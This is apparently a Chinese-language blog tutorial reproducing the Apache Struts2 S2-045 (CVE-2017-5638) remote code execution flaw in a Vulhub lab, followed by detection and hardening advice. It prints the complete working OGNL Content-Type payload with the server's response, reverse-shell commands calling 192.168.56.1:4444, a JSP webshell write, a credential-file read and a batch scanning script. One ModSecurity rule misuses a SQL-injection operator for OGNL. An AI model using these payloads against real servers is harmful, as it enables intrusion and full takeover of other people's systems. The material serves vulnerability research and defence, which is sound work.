Struts2-045远程代码执行漏洞复现与原理分析 漏洞概述 Struts2-045(CVE-2017-5638)是Apache Struts2框架中的一个严重远程代码执行漏洞,该漏洞因其影响范围广、利用简单而备受关注。攻击者可以通过构造恶意的Content-Type请求头,在目标服务器上执行任意系统命令。
漏洞基本信息 影响版本
Apache Struts 2.3.5 - 2.3.31 (包含2.3.31版本)
Apache Struts 2.5.0 - 2.5.10 (包含2.5.10版本)
漏洞等级
CVSS评分 : 10.0(严重)
漏洞类型 : 远程代码执行(RCE)
攻击复杂度 : 低
核心原理 Struts2框架在处理文件上传请求时,会解析Content-Type请求头。当Content-Type格式不正确时,框架会抛出异常,而异常处理过程中会对错误信息进行OGNL表达式解析 ,这就给了攻击者可乘之机。
技术原理深度分析 OGNL表达式注入机制 OGNL(Object-Graph Navigation Language) 是Struts2框架使用的表达式语言,用于在Java对象之间进行导航和操作。
1 2 3 #context ['xwork.MethodAccessor.denyMethodExecution' ] = false @java.lang .Runtime@getRuntime ().exec ('whoami' )
漏洞触发流程
请求接收 : 服务器接收包含恶意Content-Type的HTTP请求
类型解析 : Struts2尝试解析Content-Type头部信息
异常触发 : 恶意构造的Content-Type导致解析异常
错误处理 : 异常处理器对错误信息进行OGNL解析
代码执行 : 恶意OGNL表达式被执行,实现RCE
关键源码分析 漏洞位于org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest类中:
1 2 3 4 5 6 7 8 private void buildErrorMessage (Throwable e, Object [] args ) { String errorMessage = localizedTextProvider.findDefaultText (e.getMessage (), locale, args); if (errorMessage != null ) { errorMessage = TextParseUtil .translateVariables (errorMessage, stack); } }
实验环境搭建 系统架构 1 2 3 4 5 6 7 ┌─ 攻击机(Host) │ └─ Windows/Linux + BurpSuite │ └─ 靶机(Kali VM) ├─ IP: 192.168 .56.102 ├─ Docker + Vulhub └─ Struts2 App (Port 8080 )
Docker环境部署 1 2 3 4 5 6 7 8 9 10 11 git clone https://github.com/vulhub/vulhub.gitcd vulhub/struts2/s2-045 docker-compose up -d docker ps -a
预期输出 :
1 2 CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES2363a15cda30 vulhub/struts2:2 .3 .30 "mvn-server" 2 min ago Up 2 min 0.0.0.0:8080 ->8080 /tcp s2-045 -struts2-1
环境验证 访问 http://192.168.56.102:8080/ 应该能看到Struts2默认页面。
漏洞利用实战 Payload构造原理 恶意Content-Type的核心结构:
1 Content -Type: %{OGNL_EXPRESSION}
完整攻击载荷 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 GET / HTTP /1.1 Host : 192.168 .56 .102 :8080 User -Agent : Mozilla /5.0 (compatible; MSIE 9.0 ; Windows NT 6.1 ; Win64 ; x64)Accept : text/html,application/xhtml+xml,application/xml;q=0.9 ,*/*;q=0.8 Connection : closeContent -Type : %{ (#nike ='multipart/form-data' ). (#dm =@ognl.OgnlContext @DEFAULT_MEMBER_ACCESS ). (#_memberAccess ?(#_memberAccess =#dm ):( (#container =#context ['com.opensymphony.xwork2.ActionContext.container' ]). (#ognlUtil =#container .getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil @class)). (#ognlUtil .getExcludedPackageNames().clear()). (#ognlUtil .getExcludedClasses().clear()). (#context .setMemberAccess(#dm )) )). (#cmd ='whoami' ). (#iswin =(@java.lang.System @getProperty('os.name' ).toLowerCase().contains('win' ))). (#cmds =(#iswin ?{'cmd.exe' ,'/c' ,#cmd }:{'/bin/bash' ,'-c' ,#cmd })). (#p =new java.lang.ProcessBuilder (#cmds )). (#p .redirectErrorStream(true )). (#process =#p .start()). (#ros =(@org.apache.struts2.ServletActionContext @getResponse().getOutputStream())). (@org.apache.commons.io.IOUtils @copy(#process .getInputStream(),#ros )). (#ros .flush()) }Content -Length : 0
Payload逐行解析
表达式片段
功能说明
#nike='multipart/form-data'
设置伪装的Content-Type
#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS
获取默认成员访问权限
#_memberAccess=#dm
绕过Struts2的安全限制
#container=#context[...]
获取ActionContext容器
#ognlUtil.getExcludedPackageNames().clear()
清除包名黑名单
#ognlUtil.getExcludedClasses().clear()
清除类名黑名单
#cmd='whoami'
定义要执行的命令
#iswin=...contains('win')
判断操作系统类型
#cmds=(#iswin?{...}:{...})
根据系统类型构造命令参数
#p=new ProcessBuilder(#cmds)
创建进程构建器
#process=#p.start()
启动进程执行命令
IOUtils@copy(...)
将命令输出写入HTTP响应
攻击效果演示 请求发送后的响应 :
1 2 3 4 5 6 7 8 HTTP/1.1 200 OKServer : Apache-Coyote/1.1Content-Type : text/html;charset=UTF-8Content-Length : 9Date : Wed, 24 Jul 2025 08:30:45 GMTConnection : closewww -data
高级利用技巧 1. 信息收集命令 1 2 3 4 5 6 7 8 9 10 11 12 13 14 # 系统信息 #cmd='uname -a' # 当前用户 #cmd='id' # 网络配置 #cmd='ifconfig' # 进程列表 #cmd='ps aux' # 文件系统 #cmd='ls -la /'
2. 反弹Shell 1 2 3 4 5 6 7 8 # Bash反弹Shell #cmd ='bash -i >& /dev/tcp/192.168 .56 .1 /4444 0 >&1 ' # Python反弹Shell #cmd ='python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.56.1\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);" ' # NC反弹Shell #cmd ='nc -e /bin/sh 192.168 .56 .1 4444 '
3. 文件操作 1 2 3 4 5 6 7 8 # 读取敏感文件 #cmd ='cat /etc/passwd' # 写入WebShell #cmd ='echo "<%@ page import=\"java.io.*\" %><% String cmd = request.getParameter(\"cmd\"); Process p = Runtime.getRuntime().exec(cmd); %>" > /tmp/shell.jsp' # 下载文件 #cmd ='wget http:
检测与防护 漏洞检测脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 import requestsimport sys def check_s2_045(url): payload = """%{ (#nike ='multipart/form-data'). (#dm =@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS). (#_memberAccess ?(#_memberAccess =#dm ):( (#container =#context ['com.opensymphony.xwork2.ActionContext.container']). (#ognlUtil =#container .getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)). (#ognlUtil .getExcludedPackageNames().clear()). (#ognlUtil .getExcludedClasses().clear()). (#context .setMemberAccess(#dm )) )). (#cmd ='echo "S2045_VULN_TEST"'). (#iswin =(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))). (#cmds =(#iswin ?{'cmd.exe','/c',#cmd }:{'/bin/bash','-c',#cmd })). (#p =new java.lang.ProcessBuilder(#cmds )). (#p .redirectErrorStream(true)). (#process =#p .start()). (#ros =(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())). (@org.apache.commons.io.IOUtils@copy(#process .getInputStream(),#ros )). (#ros .flush()) }""" headers = { 'Content-Type' : payload, 'User-Agent' : 'Mozilla/5.0 (compatible; S2-045-Scanner)' } try: response = requests.get(url, headers=headers, timeout=10 ) if "S2045_VULN_TEST" in response.text: print (f"[+] {url} is vulnerable to S2-045!" ) return True else: print (f"[-] {url} is not vulnerable to S2-045" ) return False except Exception as e: print (f"[!] Error testing {url}: {str(e)}" ) return Falseif __name__ == "__main__" : if len(sys.argv) != 2 : print ("Usage: python3 s2-045-check.py <URL>" ) sys.exit(1 ) target_url = sys.argv[1 ] check_s2_045(target_url)
安全防护措施 1. 版本升级(根本解决方案) 1 2 Apache Struts 2 .3 .32 + 或 2.5.10.1 +
2. WAF规则配置 ModSecurity规则 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 # 检测S2-045攻击特征 SecRule REQUEST_HEADERS: Content- Type "@detectSQLi" \ "id:1001,\ phase: 1 , \ block, \ msg: 'Struts2 S2-045 Attack Detected', \ logdata: 'Content-Type: %{MATCHED_VAR}', \ tag: 'attack-sqli', \ tag: 'OWASP_CRS/WEB_ATTACK/SQL_INJECTION'" # 检测OGNL表达式 SecRule REQUEST_HEADERS: Content- Type "@contains %{" \ "id:1002,\ phase: 1 , \ block, \ msg: 'Potential OGNL Injection in Content-Type'"
3. 网络层防护 1 2 3 # iptables规则示例 iptables -A INPUT -p tcp --dport 8080 -m string --string "%{" --algo bm -j DROP iptables -A INPUT -p tcp --dport 8080 -m string --string "ognl" --algo bm -j DROP
4. 应用层加固 1 2 3 4 5 6 7 8 9 10 11 12 13 14 public class SecurityInterceptor extends AbstractInterceptor { @Override public String intercept(ActionInvocation invocation) throws Exception { HttpServletRequest request = ServletActionContext .getRequest(); String contentType = request.getContentType(); if (contentType != null && contentType.contains("%{" )) { throw new SecurityException ("Malicious Content-Type detected" ); } return invocation.invoke(); } }
实战技巧与工具 BurpSuite插件开发 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public class S2045Scanner implements IScannerCheck { @Override public List<IScanIssue> doActiveScan (IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) { String payload = "%{(#nike='multipart/form-data')...}" ; byte [] checkRequest = insertionPoint.buildRequest(payload.getBytes()); IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), checkRequest); if (isVulnerable(checkRequestResponse)) { return Collections.singletonList(new CustomScanIssue ()); } return null ; } }
批量检测脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 #!/bin/bash targets=( "http://target1.com:8080" "http://target2.com:8080" "http://target3.com:8080" )for target in "${targets[@]} " ; do echo "Testing: $target " python3 s2-045-check.py "$target " echo "---" done
应急响应指南 1. 漏洞确认 1 2 3 4 5 6 # 检查Struts2版本find / -name "struts2-core-*.jar" 2>/ dev/null # 检查访问日志中的攻击特征grep -E "Content-Type.*%\{" /var/ log/apache2/ access.loggrep -E "ognl|ProcessBuilder|Runtime" /var/ log/tomcat/ catalina.out
2. 应急处置 1 2 3 4 5 6 7 8 9 # 临时阻断攻击IP iptables -A INPUT -s <攻击IP> -j DROP # 停止相关服务 systemctl stop tomcat systemctl stop apache2 # 备份系统状态 tar -czf /tmp/system_backup_$(date +%Y %m %d_ %H %M %S ).tar.gz /var/log /etc /opt/tomcat
3. 痕迹清理检查 1 2 3 4 5 6 7 8 9 # 检查是否有异常进程ps aux | grep -E "nc|bash|sh|python|perl" | grep -v grep # 检查网络连接 netstat -antlp | grep ESTABLISHED # 检查新增文件find /tmp /var/tmp -type f -mtime -1 find /opt /tomcat/webapps -name "*.jsp" -mtime -1
总结 Struts2-045漏洞的特点:
优势(从攻击者角度)
利用简单 : 只需构造HTTP请求头即可
影响面广 : 大量企业级应用使用Struts2框架
检测困难 : 攻击流量可能被忽略
危害严重 : 直接获得服务器执行权限
防护要点
及时更新 : 升级到安全版本是根本解决方案
深度防御 : 结合WAF、IDS等多层防护
监控告警 : 建立有效的安全监控体系
应急响应 : 制定完善的安全事件响应流程
免责声明 : 本文内容仅供安全研究和防护参考,请勿用于非法攻击活动。
参考资源 :